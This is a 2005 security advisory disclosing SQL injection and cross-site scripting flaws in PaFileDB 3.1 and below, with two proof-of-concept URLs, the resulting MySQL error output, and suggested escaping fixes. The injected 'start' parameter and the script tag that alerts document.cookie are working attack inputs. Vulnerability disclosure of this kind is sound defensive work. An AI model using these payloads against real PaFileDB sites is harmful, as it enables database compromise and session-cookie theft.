PaFileDB.txt

`  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Dcrab 's Security Advisory  
http://icis.digitalparadox.org/~dcrab  
http://www.hackerscenter.com/  
  
Severity: Medium  
Title: PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability  
Date: 31/03/2005  
  
Vendor: PhpArena  
Vendor Website: http://www.phparena.net/pafiledb.php  
Vendor Status: Contacted but no response  
Summary: There are, pafiledb version 3.1 and below are exploitable via a xss and a sql injection vulnerability.  
  
Proof of Concept Exploits:   
http://localhost/pafiledb/pafiledb.php?action=viewall&id=&start='SQL_INJECTION&sortby=name  
SQL INJECTION  
  
paFileDB was unable to successfully run a MySQL query.  
MySQL Returned this error: You have an error in your SQL syntax.   
Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'SQL_INJECTION,20' at line 1 Error number: 1064  
The query that caused this error was: SELECT * FROM pafiledb_files WHERE file_pin = '0' ORDER BY file_name ASC LIMIT \'SQL_INJECTION,20  
  
  
http://localhost/pafiledb/pafiledb.php?action=file&id=%22%3E%20%20%3Cscript%3Ealert(document.cookie)%3C/script%3E  
Pops cookie  
  
Possible Fixes: The usage of htmlspeacialchars(),  
mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.   
  
Author:   
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php.  
  
-----BEGIN PGP SIGNATURE-----  
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com  
  
iQA/AwUBQkrruiZV5e8av/DUEQKjAACgxmr6hi6uMixKXaoioJ15SeyTEOgAoPr1  
5+ZEj6cpzBEP0yAuv1tHlKyV  
=iwFo  
-----END PGP SIGNATURE-----  
`